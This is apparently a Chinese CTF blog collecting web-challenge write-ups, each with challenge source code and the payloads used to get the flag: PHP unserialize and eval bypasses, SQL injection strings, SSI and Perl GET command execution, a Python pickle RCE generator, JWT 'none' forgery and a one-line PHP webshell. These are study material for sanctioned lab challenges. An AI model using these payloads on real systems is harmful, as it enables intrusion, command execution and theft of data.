$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat%20/flag

[MRCTF2020]PYWebsite

打开是个买flag网站

image-20221108113125422

二维码扫了不是付款的,提示在原网页中找信息

f12看一下,发现授权码判断逻辑,并且提示成功会跳转flag.php

image-20221108113249888

直接进flag.php

image-20221108113311117

提示通过IP验证购买者,因此抓包加个xff拿到flag

image-20221108113406049

[NPUCTF2020]ReadlezPHP

进去之后没什么信息,f12看一下发现链接

image-20221108115620047

进去之后是源码,看一下,是反序列化漏洞

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]);

直接构造

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<?php
class HelloPhp
{
    public $a;
    public $b;
	public function __construct(){
        $this->a = "ls";
        $this->b = "system";
    }
}

$h = new HelloPhp;
echo serialize($h);
?>

执行没反应,感觉应该是过滤了

image-20221108115815174

试一下其他函数

assert可以使用。最后在环境变量中找到flag

image-20221108134249688

payload:

1
?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

[SWPU2019]Web1

进去是一个登录注册发布系统,测试sql,最后在详情页发现回显

image-20221108144151043

测试行数,22成功回显,位置2,3

image-20221108144230534

尝试发现or被过滤,因此information_schema不能用了

可利用mysql.innodb_table_stats爆出表名

库名表名

image-20221108145655203

使用联合查询建新表查询绕过列名,最终拿到flag

image-20221108152044837

payload:

1
title=1'/**/union/**/select/**/1,(select/**/group_concat(`3`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)/**/as/**/a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

[CISCN2019 华东南赛区]Web11

进去之后是个网站,提示页面跳转查我ip或者xff,页面下部分提示又smarty构建,可能存在模版注入

image-20221109170507528

抓包加个xff再访问发现根据xff变化,可能是模版注入点

image-20221109170636841

尝试成功

image-20221109170700956

查了一下smarty的注入姿势,构造payload拿到flag

image-20221109170736285

[极客大挑战 2019]FinalSQL

sql注入,分别看了那几个按钮的信息,在6中提示不在表中

image-20221109184709288

在此注入,无回显,并且过滤if,所以尝试boolean盲注

根据sql异或操作,1^1=0,会回显ERROR!!!

image-20221109184859880

利用这点作为判断进行布尔盲注

写了个脚本

image-20221109184938752

最终跑出表名F1naI1y, Flaaag

开头提示不在此表,猜测为flaaag表,所以直接操作F1nal1y表,最后爆出flag

buu平台多次请求429错误真耽误事

image-20221109202946672

[De1CTF 2019]SSRF Me

代码审计题

进去之后是pyhon源码,整理一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json

reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)

class Task: 
	def __init__(self, action, param, sign, ip):
		self.action = action
		self.param = param
		self.sign = sign
		self.sandbox = md5(ip)
		if(not os.path.exists(self.sandbox)):
			os.mkdir(self.sandbox)
	def Exec(self):
		result = {}
		result['code'] = 500
		if (self.checkSign()):
			if "scan" in self.action:
				tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
				resp = scan(self.param)
				if (resp == "Connection Timeout"):
					result['data'] = resp
				else:
					print resp tmpfile.write(resp)
					tmpfile.close()
					result['code'] = 200
			if "read" in self.action:
				f = open("./%s/result.txt" % self.sandbox, 'r')
				result['code'] = 200
				result['data'] = f.read()
			if result['code'] == 500:
				result['data'] = "Action Error"
			else:
				result['code'] = 500
				result['msg'] = "Sign Error"
		return result 
	def checkSign(self):
		if (getSign(self.action, self.param) == self.sign):
			return True
		else: 
			return False

@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
	param = urllib.unquote(request.args.get("param", ""))
	action = "scan"
	return getSign(action, param)

@app.route('/De1ta',methods=['GET','POST'])
def challenge():
	action = urllib.unquote(request.cookies.get("action"))
	param = urllib.unquote(request.args.get("param", ""))
	sign = urllib.unquote(request.cookies.get("sign"))
	ip = request.remote_addr
	if(waf(param)): 
		return "No Hacker!!!!" 
	task = Task(action, param, sign, ip)
	return json.dumps(task.Exec())

@app.route('/')
def index():
	return open("code.txt","r").read()

def scan(param): 
	socket.setdefaulttimeout(1) 
	try: 
		return urllib.urlopen(param).read()[:50] 
	except: 
		return "Connection Timeout"

def getSign(action, param): 
	return hashlib.md5(secert_key + param + action).hexdigest() 

def md5(content): 
	return hashlib.md5(content).hexdigest() 

def waf(param): 
	check=param.strip().lower()
	if check.startswith("gopher") or check.startswith("file"): 
		return True 
	else: 
		return False 

if __name__ == '__main__': 
	app.debug = False
	app.run(host='0.0.0.0',port=80)

整理一下逻辑:通过geneSign页面通过param,action(默认scan不能更改)生成访问cookie,通过De1ta页面get传入参数param表示文件、cookie参数action表示行为、cookie参数sign传入geneSign页面生成的cookie。提示flag在flag.txt中,所以就要利用De1ta页面通过read读取flag.txt,但是geneSign页面生成cookie默认action=sign,只要把action=read,param传入flag.txt即可。

因此构造

image-20221111114856644

此时cookie为(secret_key+flag.txtreadscan)

De1ta页面发包

param=flag.txt, action=readscan

此时cookie为(secret_key+flag.txtreadscan)

绕过检测并拿到flag

image-20221111115005793

[BSidesCF 2019]Futurella

打开之后是乱码,f12看一下拿到flag

image-20221111115258417

[SUCTF 2019]Pythonginx

进去直接给了部分源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
@app.route('/getUrl', methods=['GET', 'POST']) 
def getUrl(): 
	url = request.args.get("url") 
	host = parse.urlparse(url).hostname 

	if host == 'suctf.cc': 
		return "我扌 your problem? 111" 

	parts = list(urlsplit(url)) 
	host = parts[1] 
	if host == 'suctf.cc': 
		return "我扌 your problem? 222 " + host 

	newhost = [] 
	for h in host.split('.'): 
		newhost.append(h.encode('idna').decode('utf-8')) 
	parts[1] = '.'.join(newhost) 
	finalUrl = urlunsplit(parts).split(' ')[0] 
	host = parse.urlparse(finalUrl).hostname 
	if host == 'suctf.cc': 
		return urllib.request.urlopen(finalUrl).read() 
	else: 
		return "我扌 your problem? 333"

理一下逻辑:三次解析传入的url参数,最后一次最为复杂,并且识别成功回读取传入命令参数,可利用file://读取目录中文件

前两次尝试利用unicode绕过,利用小写罗马100: ⅽ (U+217D)成功绕过

image-20221112112439517

查了一下nginx目录结构,先看一下配置文件,发现flag位置

image-20221112112909329

直接读拿到flag

image-20221112112947028

[BJDCTF2020]EasySearch

打开之后登录框,注入没反应

image-20221112115857612

目录扫面发现index.php.swp文件,打开是源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
	ob_start();
	function get_hash(){
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
		$content = uniqid().$random;
		return sha1($content); 
	}
    header("Content-Type: text/html;charset=utf-8");
	***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
			echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
	***
    }
	***
?>

看一下逻辑:password匹配前六位是6d0bc1的md5值,匹配成功会把username输入内容写入shtml文件,似乎存在ssi漏洞

脚本跑一下md5得到目标字符串

image-20221112160459457

抓包发现生成的文件路径

image-20221112160858637

写入ssi命令进行访问

image-20221112163141275

image-20221112163149231

读文件拿到flag

image-20221112163258737

image-20221112163307603

Payload:

1
username=<!--#exec cmd="cd ..;cat flag_990c66bf85a09c664f0b6741840499b2" -->&password=2020666

[BSidesCF 2019]Kookie

进去之后是个注册页面,提示cookie

image-20221113104858006

先试一下注入,没反应,加了个cookie: username=admin,进去拿到flag了

image-20221113104949266

[0CTF 2016]piapiapia

进去时登录注册页面

image-20221113112934969

注入测试了半天没反应,目录扫面发现www.zip,下下来看一下

看一下逻辑:有登录、注册、改信息、看信息几个页面,flag在config.php文件中,其中看信息会读取对象中文件目录,进而获取文件内容base64编码,可以尝试读取config.php文件

通过class.php中管检测替换以及update.php文件中序列化操作进行配合实现反序列化字节逃逸,通过数组绕过长度检测

image-20221113140729096

成功读到config.php文件

image-20221113140823382

base64解码拿到flag

image-20221113140845761

[GYCTF2020]FlaskApp

是一道flask模版注入题,通过获取pin码执行命令

获取pin码教程:https://xz.aliyun.com/t/8092

username: 直接在/etc/passwd中拿到,为root

image-20221113180431308

modname: 默认flask.app

getattr(app, '__name__', getattr(app.__class__, '__name__')):Flask

getattr(mod, '__file__', None):

image-20221113180948429

str(uuid.getnode()):

image-20221113181020823

转换成十进制:156863304636404

get_machine_id():

image-20221113181225964

算法泡一下拿到pin,成功进入shell

image-20221113214002547

image-20221113214009639

执行命令拿到flag

image-20221113214519613

[极客大挑战 2019]RCE ME

代码审计题,输入eval,但不让输入字母数字

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

// ?>

取反再取反绕过,但执行system(ls)没反应

image-20221114104849878

怀疑可能禁用了函数,看一下phpinfo果然

image-20221114104954857

利用assert getshellassert(eval($_POST[cmd]));

蚁剑连接成功

image-20221114120523935

但看不了flag

试试命令,不让执行

image-20221114120603877

利用蚁剑插件绕过

image-20221114121341581

发现有一个readflag,看一下里面是乱码,执行一下拿到flag

image-20221114121430713

[MRCTF2020]套娃

进去之后没东西,f12看一下提示,代码审计

1
2
3
4
5
6
7
8
$query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}

_利用.绕过,正则用%0a截断,进入下一关

image-20221114133723780

第二关,限制本地访问

image-20221114134050162

f12发现jsfuck

image-20221114134907961

解码得

image-20221114134929456

传一下出源码

image-20221114135146118

抓包改一下本地访问,将client-ip: 127.0.0.1

2333利用data伪协议绕过

change函数反写一下传入

image-20221114140533747

拿到flag

image-20221114140548002

[WUSTCTF2020]颜值成绩查询

测试发现是数字布尔盲注,过滤空格

直接上脚本

表名:

image-20221114144518483

flag表列名:flag, value

flag

image-20221114150526406

[FBCTF2019]RCEService

rce题通过cmd输入命令,测试了半天没反应

看wp才知道源码是给的。。(耽误事

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}

?>

看一下逻辑:通过JSON输入执行cmd属性命令,并且设置了个环境变量,猜测为flag位置

利用json换行绕过关键词

image-20221114181144578

但cat读不到flag,看一下他吧ls放进了这个目录,但没有cat命令,因此可以执行ls却不能执行其他命令

image-20221114181328141

搜一下linux目录结构,找一下cat绝对路径在/bin/cat

执行拿到flag

image-20221114181437929

看wp还有一种方法,通过构造超过NFA回溯上限的方式使preg_match执行失败,进而绕过

https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html

[Zer0pts2020]Can you guess it?

进去看源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
  exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
  highlight_file(basename($_SERVER['PHP_SELF']));
  exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
  $guess = (string) $_POST['guess'];
  if (hash_equals($secret, $guess)) {
    $message = 'Congratulations! The flag is: ' . FLAG;
  } else {
    $message = 'Wrong.';
  }
}
?>
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>Can you guess it?</title>
  </head>
  <body>
    <h1>Can you guess it?</h1>
    <p>If your guess is correct, I'll give you the flag.</p>
    <p><a href="?source">Source</a></p>
    <hr>
<?php if (isset($message)) { ?>
    <p><?= $message ?></p>
<?php } ?>
    <form action="index.php" method="POST">
      <input type="text" name="guess">
      <input type="submit">
    </form>
  </body>
</html>

看一下逻辑:猜64位随机字符串,猜对了给flag,但肯定走不通。所以看一下$_SERVER['PHP_SELF'], basename()这两个有什么问题么

$_SERVER[‘PHP_SELF’]获取url后的路径,除去参数

basename()获取文件名

可构造/index.php/config.php令其读取config.php内容,但被正则过滤

看一下正则,config.php结尾不行,后面加字符绕过,其中basename()会去掉不可见字符,可利用绕过

image-20221114202047637

Payload:

1
index.php/config.php/%aa?source

[CISCN2019 华北赛区 Day1 Web2]ikun

打开之后f12看提示

提示买lv6

image-20221114205214258

页数特别多一页一页找很麻烦,写了个脚本跑一下在181页

image-20221114205310381

进去之后买但钱不够

image-20221114205331630

抓包改一下试试

改钱数不好使,改折扣成功,拿到新提示Location: /b1g_m4mber

image-20221114205655478

访问看一下。提示只允许admin

image-20221114205741500

有jwt看一下结构

image-20221114205853440

上工具爆破出密钥

image-20221114210855983

构造密钥

image-20221114210932939

访问出页面

image-20221114210959408

这个按钮没啥反应,看一下f12,发现源码泄漏

image-20221114211519352

下下来看一下逻辑:在admin页面存在反序列化漏洞,学一下python pickle反序列化,可利用直接执行命令

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

构造反序列化代码(搞了半天python3不好使,看wp要用python2

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
import pickle
import urllib
import commands

class Rce(object): 
    def __reduce__(self):
        return (commands.getoutput,('ls',))

a = Rce()
print urllib.quote(pickle.dumps(a))

执行成功

image-20221115113513137

最后在根目录flag.txt中拿到flag

image-20221115113654630

[CSCCTF 2019 Qual]FlaskLight

进来看提示,通过get接受search参数

image-20221115114342982

SSTI试一下,成功

image-20221115114512031

看一下config,提示flag在

image-20221115114755431

测试发现globals被过滤了,反写绕过,执行命令(python2

image-20221115140558147

在/flasklight/cat coomme_geeeett_youur_flek中读到flag

image-20221115140803574

[GWCTF 2019]枯燥的抽奖

进去之后是个输入框,看一下源码,知道有个check.php

image-20221116132134815

读一下出源码

image-20221116150735155

读一下逻辑:通过php mt_rand生成随机字符串,但是伪随机数,直接上工具php_mt_seed跑出seed就可以读到原始随机字符串

先根据给出的前十位构造输入

image-20221116150647487

跑一下出seed

image-20221116150712548

跑一下源码出字符串(注意php版本

image-20221116150946853

输入拿到flag

image-20221116151011286

[NCTF2019]True XML cookbook

xxe题,直接读根目录没有

读一下doFlag.php源码看一下

image-20221116162112784

解码发现给了用户名密码,但登录没反应

image-20221116162130727

image-20221116162139144

看别人wp走的是内网探测

先读敏感文件获取ip

写了个脚本跑一下扫端口拿到flag

image-20221116173705307

[CISCN2019 华北赛区 Day1 Web1]Dropbox

考点:任意文件读取,phar协议利用

登录注册进去,有一个文件上传口

image-20221116175521812

测试上传禁了.htaccess,并且白名单判断mime,并通过mime改文件后缀,上传走不太通

随便上传一个文件后发现下载和删除功能,试试任意文件下载

image-20221116175714458

利用../跳路径成功下到源码

image-20221116175920843

image-20221116175820129

看一下逻辑:在class中存在file_get_contents(),并且download.php中有利用,但禁止读带flag的文件

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}

题目提示利用phar协议,学一下。。

本地环境问题无法生成phar文件,php.ini改了没反应

[RCTF2015]EasySQL

考点:sql报错注入

看题目sql注入题

测试发现注册页面有过滤,应该是注入点

image-20221116220125486

测试一番,在改密码界面找到错误信息回显点

报错注入测试成功

image-20221116220254032

sql流程走(就是麻烦

image-20221116220835498

user表的列名

image-20221116221150860

但是real_flag_1s_here里面数据太多

image-20221118111616953

利用正则匹配找一下flag开头,拿到前段

image-20221118112049818

利用取反拿到后半段

image-20221118112640739

那控制台js反转一下

image-20221118112652377

[WUSTCTF2020]CV Maker

进去之后登录注册,先不测试,先登录进去看一下,有个文件上传点

image-20221118115550741

改一下文件头直接穿php成功,并通过抓包获取php文件位置

image-20221118115639718

蚁剑连接成功,根目录找到flag

image-20221118115827683

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

考点:sql报错注入

页面包含插入查询删除

测试发现修改页面有回显

利用报错,测试的到数据库名

image-20221118131455827

流程走

image-20221118131708529

image-20221118133237048

显示不全,用substr拼接,最终表名

user_id,address,old_address,user_name,phone

挨个表查没有flag数据

看wp人家题前告诉flag在根目录flag.txt中

所以直接读文件

image-20221118140852643

Payload:

1
1' or updatexml(1,concat(0x7e,(substr((select load_file('/flag.txt')),1)),0x7e),1)--+

[网鼎杯 2020 白虎组]PicDown

考点:任意文件读取

打开就一个输入框,通过get穿进去url参数

测试发现将url下载成图片形式

image-20221118143151015

直接尝试url读文件/flag,成功下载,vi读文件拿到flag

image-20221118143248044

image-20221118143316794

[CISCN2019 总决赛 Day2 Web1]Easyweb

考点:sql盲注构造,addslashes绕过,文件上传

进去是个登录界面,注入半天没反应

image-20221118144657399

信息收集一下,robots.txt中发现提示

image-20221118144724011

拿到image.php.bak备份文件

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

读一下逻辑:

用addslashes函数转义符号,又进行过滤,可同时利用绕过,将id的第二个单引号转义,与path第一个参数形成包裹,在path处注入

无回显打盲注

image-20221118153709838

image-20221118153901763

image-20221118154031332

没有flag信息,给了用户名密码

image-20221118154942949

登录进去,有一个上传

image-20221118154957680

会将上传文件记录保存本地

image-20221118155332343

随便传一个文件,把文件名改成一句话

image-20221118155445670

上传成功连蚁剑在根目录拿到flag

image-20221118155617133

[HITCON 2017]SSRFme

考点:perl语言 get命令任意命令执行

进去之后直接给源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
10.244.80.206 <?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }

    echo $_SERVER["REMOTE_ADDR"];

    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox);
    @chdir($sandbox);

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
    $info = pathinfo($_GET["filename"]);
    $dir  = str_replace(".", "", basename($info["dirname"]));
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);
    highlight_file(__FILE__);

看一下逻辑:

创造一个沙盒,并且告诉你文件夹生成方式,在其中根据get输入生成文件,并将shell get命令结果写入

上网查一下get可以执行file协议读取本地文件,可以直接读取目录

perl函数看到要打开的文件名中如果以管道符(键盘上那个竖杠 |)结尾,就会中断原有打开文件操作,并且把这个文件名当作一个命令来执行,并且将命令的执行结果作为这个文件的内容写入。

image-20221119161941526

直接读flag没反应,读一下readflag文件直接下载也没有flag

估计是要执行readflag

这里看一下get的任意命令执行,会执行文件名

因此先写一个命令作为文件名写入文件夹,再file这个文件,再将执行结果写入文件

拿到flag

image-20221119181652604

Payload:

1
2
?urlfilename=bash -c /readflag|
?url=file:bash -c /readflag|&filename=a

[watevrCTF-2019]Cookie Store

考点:session篡改

打开是购买界面,要买100的才会拿到flag,但是钱只有50

image-20221119183752757

抓包看一下cookie,是个base64编码字符串

image-20221119183825305

解码看一下

image-20221119183906334

把钱数改一下上传,成功

image-20221119183949564

image-20221119184042461

买100的拿到flag

[红明谷CTF 2021]write_shell

考点:代码审计,关键词绕过

代码审计题

输入写入文件,过滤了一句话马相关

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
    if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
        // if(preg_match("/'| |_|=|php/",$input)){
        die('hacker!!!');
    }else{
        return $input;
    }
}

function waf($input){
  if(is_array($input)){
      foreach($input as $key=>$output){
          $input[$key] = waf($output);
      }
  }else{
      $input = check($input);
  }
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
    mkdir($dir);
}
switch($_GET["action"] ?? "") {
    case 'pwd':
        echo $dir;
        break;
    case 'upload':
        $data = $_GET["data"] ?? "";
        waf($data);
        file_put_contents("$dir" . "index.php", $data);
}
?>

利用反引号直接执行命令,tab绕过空格,读取根目录成功

image-20221119192926609

cat拿到flag

[b01lers2020]Welcome to Earth

有点二逼,略

[HFCTF2020]EasyLogin

考点:koa框架,jwt加密代码审计

信息收集:进去是个登录注册,jwt判断用户,用的koa nodejs

直接跑jwt密钥失败

image-20221120135712978

看一下js源码,知道有个api.js,里面可能有密钥

image-20221120135842395

查一下koa目录结构,api放在controllers中,直接url一下拿到api.js源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
    'POST /api/register': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || username === 'admin'){
            throw new APIError('register error', 'wrong username');
        }

        if(global.secrets.length > 100000) {
            global.secrets = [];
        }

        const secret = crypto.randomBytes(18).toString('hex');
        const secretid = global.secrets.length;
        global.secrets.push(secret)

        const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

        ctx.rest({
            token: token
        });

        await next();
    },

    'POST /api/login': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || !password) {
            throw new APIError('login error', 'username or password is necessary');
        }

        const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

        const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

        console.log(sid)

        if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
            throw new APIError('login error', 'no such secret id');
        }

        const secret = global.secrets[sid];

        const user = jwt.verify(token, secret, {algorithm: 'HS256'});

        const status = username === user.username && password === user.password;

        if(status) {
            ctx.session.username = username;
        }

        ctx.rest({
            status
        });

        await next();
    },

    'GET /api/flag': async (ctx, next) => {
        if(ctx.session.username !== 'admin'){
            throw new APIError('permission error', 'permission denied');
        }

        const flag = fs.readFileSync('/flag').toString();
        ctx.rest({
            flag
        });

        await next();
    },

    'GET /api/logout': async (ctx, next) => {
        ctx.session.username = null;
        ctx.rest({
            status: true
        })
        await next();
    }
};

看一下逻辑

存在语法错误,应为algorithm

image-20221120143948062

可以直接绕过登录

用none伪造jwt

image-20221120145927546

登录成功拿到flag

image-20221120145946007

[GYCTF2020]Ezsqli

考点:sql无列名查询,sql盲注

进去就一个输入框,测试发现是数字型注入,绕过了大部分关键字(or, and, in, if, sleep等

利用报错盲注

跑脚本

查表

payload:

1
select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()

image-20221120154500806

直接猜测列名为flag(。。

拿到flag

image-20221120161540247

看了一些别人的wp,无列名查询

payload:

1
(select 1,{})>(select * from f1ag_1s_h3r3_hhhhh)

[网鼎杯 2018]Comment

考点:git泄漏,二次注入,sql注入构造

进去之后是个留言平台,f12发现git提示

image-20221121144635176

利用githacker把源码弄下来,打开之后代码不完整

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    break;
case 'comment':
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

根据提示感觉应该是还未提交,所以看一下往期版本

image-20221121144816739

回溯一下得到完整代码

image-20221121144941769

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

看一下逻辑:

需要进行登录(爆破出用户名密码: zhangwei, zhangwei666

利用二次注入绕过addslash

利用write的category篡改content内容,配合comment中content闭合,(content有回显,直接让content显示查询内容即可)

构造后:

1
2
3
4
insert into comment
            set category = '' content=database(),/*',
                content = '*/--+',
                bo_id = '$bo_id';

流程走,查了半天没有flag信息,感觉在目录里

查看用户主目录

image-20221121155329015

读操作命令行操作历史文件.bash_history

image-20221121160803624

删了目录中.DS_Store敏感文件,所以16进制读原地址的文件

解码后得到

image-20221121161332007

16进制读,解码拿到flag

image-20221121161512133

*[NCTF2019]SQLi

考点:sql注入构造,sql regexp使用

又一个本校题

看题目sql题,测试半天全都绕过

做一下信息收集

在robots.txt中发现提示

